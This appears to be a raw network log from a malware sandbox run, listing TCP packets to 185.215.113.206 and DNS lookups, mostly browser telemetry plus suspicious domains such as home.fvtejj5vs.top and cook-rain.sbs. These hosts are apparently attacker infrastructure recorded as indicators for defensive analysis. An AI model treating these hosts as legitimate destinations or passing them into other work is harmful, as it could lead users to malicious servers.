Nov 17, 2024 22:20:53.659153938 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659209967 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659215927 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659229040 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659279108 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659284115 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659297943 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659362078 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659383059 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659421921 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659461021 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659476042 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659478903 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659499884 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659507990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659518957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659554005 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659568071 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659571886 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659593105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659595013 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659610987 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659621000 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659625053 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659641981 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659646988 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659661055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659663916 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659689903 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659722090 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659730911 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659743071 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.659749031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.659768105 CET	80	60797	185.215.113.206	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 17, 2024 22:20:27.059753895 CET	192.168.2.7	1.1.1.1	0x3cfd	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:27.059945107 CET	192.168.2.7	1.1.1.1	0xb363	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 17, 2024 22:20:32.129384995 CET	192.168.2.7	1.1.1.1	0xf748	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:32.129533052 CET	192.168.2.7	1.1.1.1	0xb13	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 17, 2024 22:20:33.452796936 CET	192.168.2.7	1.1.1.1	0xd971	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:33.452935934 CET	192.168.2.7	1.1.1.1	0x17be	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 17, 2024 22:20:40.463124037 CET	192.168.2.7	1.1.1.1	0xad4d	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:40.463331938 CET	192.168.2.7	1.1.1.1	0x8947	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 17, 2024 22:20:41.554896116 CET	192.168.2.7	1.1.1.1	0x5e69	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:41.555049896 CET	192.168.2.7	1.1.1.1	0xb865	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 17, 2024 22:20:43.322680950 CET	192.168.2.7	1.1.1.1	0xbb3e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.323441982 CET	192.168.2.7	1.1.1.1	0x9a48	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 22:20:43.324310064 CET	192.168.2.7	1.1.1.1	0xb428	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.324506998 CET	192.168.2.7	1.1.1.1	0x14f2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 22:20:43.378365040 CET	192.168.2.7	1.1.1.1	0x868e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.408735037 CET	192.168.2.7	1.1.1.1	0x6b1d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 22:20:43.946583986 CET	192.168.2.7	1.1.1.1	0x7c26	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.946899891 CET	192.168.2.7	1.1.1.1	0x8a5b	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 17, 2024 22:20:43.974452019 CET	192.168.2.7	1.1.1.1	0xcd08	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.974601030 CET	192.168.2.7	1.1.1.1	0x9722	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 17, 2024 22:20:43.982355118 CET	192.168.2.7	1.1.1.1	0x1c86	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.982501030 CET	192.168.2.7	1.1.1.1	0xb32e	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 17, 2024 22:20:43.989496946 CET	192.168.2.7	1.1.1.1	0xbbaf	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.990010977 CET	192.168.2.7	1.1.1.1	0xcdb7	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 17, 2024 22:20:43.994975090 CET	192.168.2.7	1.1.1.1	0xe767	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.995268106 CET	192.168.2.7	1.1.1.1	0xab07	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 17, 2024 22:21:29.783015013 CET	192.168.2.7	1.1.1.1	0x15ea	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:21:29.783915997 CET	192.168.2.7	1.1.1.1	0x1a55	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 17, 2024 22:21:42.650172949 CET	192.168.2.7	1.1.1.1	0x5855	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:21:42.650305986 CET	192.168.2.7	1.1.1.1	0x3fba	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 17, 2024 22:21:52.482904911 CET	192.168.2.7	1.1.1.1	0x88eb	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:04.876964092 CET	192.168.2.7	1.1.1.1	0x3bdd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:04.877156973 CET	192.168.2.7	1.1.1.1	0xca85	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 22:22:04.885251999 CET	192.168.2.7	1.1.1.1	0x1b47	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:04.885499954 CET	192.168.2.7	1.1.1.1	0x6d92	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 22:22:04.890105963 CET	192.168.2.7	1.1.1.1	0x4e03	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:04.890302896 CET	192.168.2.7	1.1.1.1	0x1abb	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 22:22:25.065768957 CET	192.168.2.7	1.1.1.1	0x6cf4	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.137660980 CET	192.168.2.7	1.1.1.1	0xb561	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 17, 2024 22:22:25.211189985 CET	192.168.2.7	1.1.1.1	0xbd34	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.222879887 CET	192.168.2.7	1.1.1.1	0xc4ef	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.226183891 CET	192.168.2.7	1.1.1.1	0xdd36	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.237840891 CET	192.168.2.7	1.1.1.1	0x6fb9	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 17, 2024 22:22:25.249284983 CET	192.168.2.7	1.1.1.1	0xf498	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.271833897 CET	192.168.2.7	1.1.1.1	0x25f1	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 17, 2024 22:22:25.278412104 CET	192.168.2.7	1.1.1.1	0x6d1e	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.284060955 CET	192.168.2.7	1.1.1.1	0x610d	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.288919926 CET	192.168.2.7	1.1.1.1	0x2a47	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.294019938 CET	192.168.2.7	1.1.1.1	0x8600	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.308734894 CET	192.168.2.7	1.1.1.1	0xce09	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.312598944 CET	192.168.2.7	1.1.1.1	0x246	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 17, 2024 22:22:25.313719034 CET	192.168.2.7	1.1.1.1	0xae03	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 17, 2024 22:22:25.318159103 CET	192.168.2.7	1.1.1.1	0x12f7	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.322989941 CET	192.168.2.7	1.1.1.1	0x421e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 17, 2024 22:22:25.330883980 CET	192.168.2.7	1.1.1.1	0x9e42	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.378112078 CET	192.168.2.7	1.1.1.1	0x8552	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 17, 2024 22:22:25.484690905 CET	192.168.2.7	1.1.1.1	0xd564	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.492643118 CET	192.168.2.7	1.1.1.1	0xbab7	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.555819035 CET	192.168.2.7	1.1.1.1	0x85e7	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.571183920 CET	192.168.2.7	1.1.1.1	0x5c99	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.585535049 CET	192.168.2.7	1.1.1.1	0x8b26	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.585957050 CET	192.168.2.7	1.1.1.1	0xa06d	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 17, 2024 22:22:25.619967937 CET	192.168.2.7	1.1.1.1	0xddb6	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 17, 2024 22:22:25.868438005 CET	192.168.2.7	1.1.1.1	0xa687	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.868830919 CET	192.168.2.7	1.1.1.1	0x78e1	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.872355938 CET	192.168.2.7	1.1.1.1	0xba1f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:26.544495106 CET	192.168.2.7	1.1.1.1	0x9f49	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:26.554177046 CET	192.168.2.7	1.1.1.1	0xec03	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 17, 2024 22:22:28.154110909 CET	192.168.2.7	1.1.1.1	0x5581	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:28.170288086 CET	192.168.2.7	1.1.1.1	0x8c9	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:28.190367937 CET	192.168.2.7	1.1.1.1	0x5805	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 17, 2024 22:22:29.138592958 CET	192.168.2.7	1.1.1.1	0x8579	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.138715982 CET	192.168.2.7	1.1.1.1	0x25b4	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.139015913 CET	192.168.2.7	1.1.1.1	0x8064	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.156188965 CET	192.168.2.7	1.1.1.1	0x9b7d	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.156250954 CET	192.168.2.7	1.1.1.1	0xa214	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.176126003 CET	192.168.2.7	1.1.1.1	0xc7e	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 17, 2024 22:22:29.209074974 CET	192.168.2.7	1.1.1.1	0xa8c1	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.209228039 CET	192.168.2.7	1.1.1.1	0x4ddd	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 17, 2024 22:22:29.209443092 CET	192.168.2.7	1.1.1.1	0xdafe	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.236624002 CET	192.168.2.7	1.1.1.1	0xf47e	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.237252951 CET	192.168.2.7	1.1.1.1	0xedf4	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 17, 2024 22:22:29.246633053 CET	192.168.2.7	1.1.1.1	0x94a6	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.279699087 CET	192.168.2.7	1.1.1.1	0x45a5	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 17, 2024 22:22:29.317059040 CET	192.168.2.7	1.1.1.1	0x8fdb	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.387624979 CET	192.168.2.7	1.1.1.1	0xed1d	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 17, 2024 22:22:32.044819117 CET	192.168.2.7	1.1.1.1	0xc26	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 17, 2024 22:22:32.997807980 CET	192.168.2.7	1.1.1.1	0x47bd	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:43.450675011 CET	192.168.2.7	1.1.1.1	0xc6ef	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 17, 2024 22:22:44.078325987 CET	192.168.2.7	1.1.1.1	0x193	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:53.133196115 CET	192.168.2.7	1.1.1.1	0xeee7	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:53.133245945 CET	192.168.2.7	1.1.1.1	0x4f41	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 17, 2024 22:22:55.009820938 CET	192.168.2.7	1.1.1.1	0xf301	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.038862944 CET	192.168.2.7	1.1.1.1	0xff49	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 17, 2024 22:22:55.048741102 CET	192.168.2.7	1.1.1.1	0x99d4	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.079814911 CET	192.168.2.7	1.1.1.1	0x4356	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.119555950 CET	192.168.2.7	1.1.1.1	0xd368	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 17, 2024 22:22:55.169692993 CET	192.168.2.7	1.1.1.1	0xa6b7	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.189634085 CET	192.168.2.7	1.1.1.1	0x4d9a	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.199333906 CET	192.168.2.7	1.1.1.1	0xd23d	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 17, 2024 22:20:27.066665888 CET	1.1.1.1	192.168.2.7	0x3cfd	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:27.066883087 CET	1.1.1.1	192.168.2.7	0xb363	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 17, 2024 22:20:32.136461973 CET	1.1.1.1	192.168.2.7	0xf748	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:32.136461973 CET	1.1.1.1	192.168.2.7	0xf748	No error (0)	plus.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:32.137526035 CET	1.1.1.1	192.168.2.7	0xb13	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:33.459815979 CET	1.1.1.1	192.168.2.7	0xd971	No error (0)	play.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:40.469921112 CET	1.1.1.1	192.168.2.7	0xad4d	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:40.471240044 CET	1.1.1.1	192.168.2.7	0x8947	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:40.551979065 CET	1.1.1.1	192.168.2.7	0x54e7	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:40.595928907 CET	1.1.1.1	192.168.2.7	0x22d7	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:40.595928907 CET	1.1.1.1	192.168.2.7	0x22d7	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:41.562325001 CET	1.1.1.1	192.168.2.7	0xb865	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:41.562340975 CET	1.1.1.1	192.168.2.7	0x5e69	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:43.329869986 CET	1.1.1.1	192.168.2.7	0xbb3e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.329869986 CET	1.1.1.1	192.168.2.7	0xbb3e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.330378056 CET	1.1.1.1	192.168.2.7	0x9a48	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 22:20:43.331275940 CET	1.1.1.1	192.168.2.7	0xb428	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.331275940 CET	1.1.1.1	192.168.2.7	0xb428	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.331509113 CET	1.1.1.1	192.168.2.7	0x14f2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 22:20:43.385751963 CET	1.1.1.1	192.168.2.7	0x868e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.385751963 CET	1.1.1.1	192.168.2.7	0x868e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.416115046 CET	1.1.1.1	192.168.2.7	0x6b1d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 22:20:43.953587055 CET	1.1.1.1	192.168.2.7	0x7c26	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:43.953587055 CET	1.1.1.1	192.168.2.7	0x7c26	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.33	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.954159021 CET	1.1.1.1	192.168.2.7	0x8a5b	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:43.981221914 CET	1.1.1.1	192.168.2.7	0xcd08	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.981221914 CET	1.1.1.1	192.168.2.7	0xcd08	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.981221914 CET	1.1.1.1	192.168.2.7	0xcd08	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.981221914 CET	1.1.1.1	192.168.2.7	0xcd08	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:20:43.989126921 CET	1.1.1.1	192.168.2.7	0x1c86	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:43.990020990 CET	1.1.1.1	192.168.2.7	0xb32e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:43.996396065 CET	1.1.1.1	192.168.2.7	0xbbaf	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:43.997128010 CET	1.1.1.1	192.168.2.7	0xcdb7	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:44.001548052 CET	1.1.1.1	192.168.2.7	0xe767	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:20:44.003047943 CET	1.1.1.1	192.168.2.7	0xab07	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:21:29.879584074 CET	1.1.1.1	192.168.2.7	0x15ea	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:21:42.657360077 CET	1.1.1.1	192.168.2.7	0x5855	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:21:42.657814026 CET	1.1.1.1	192.168.2.7	0x3fba	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:21:52.524998903 CET	1.1.1.1	192.168.2.7	0x88eb	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:21:52.524998903 CET	1.1.1.1	192.168.2.7	0x88eb	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:04.883765936 CET	1.1.1.1	192.168.2.7	0x3bdd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:04.883765936 CET	1.1.1.1	192.168.2.7	0x3bdd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:04.884057045 CET	1.1.1.1	192.168.2.7	0xca85	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 22:22:04.892210960 CET	1.1.1.1	192.168.2.7	0x1b47	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:04.892210960 CET	1.1.1.1	192.168.2.7	0x1b47	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:04.892225027 CET	1.1.1.1	192.168.2.7	0x6d92	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 22:22:04.897237062 CET	1.1.1.1	192.168.2.7	0x4e03	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:04.897237062 CET	1.1.1.1	192.168.2.7	0x4e03	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:04.897286892 CET	1.1.1.1	192.168.2.7	0x1abb	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 22:22:25.041574955 CET	1.1.1.1	192.168.2.7	0x943c	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.099771976 CET	1.1.1.1	192.168.2.7	0x6cf4	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.220273018 CET	1.1.1.1	192.168.2.7	0xbd34	No error (0)	youtube.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.230679989 CET	1.1.1.1	192.168.2.7	0xc4ef	No error (0)	youtube.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.233400106 CET	1.1.1.1	192.168.2.7	0xdd36	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:25.233400106 CET	1.1.1.1	192.168.2.7	0xdd36	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
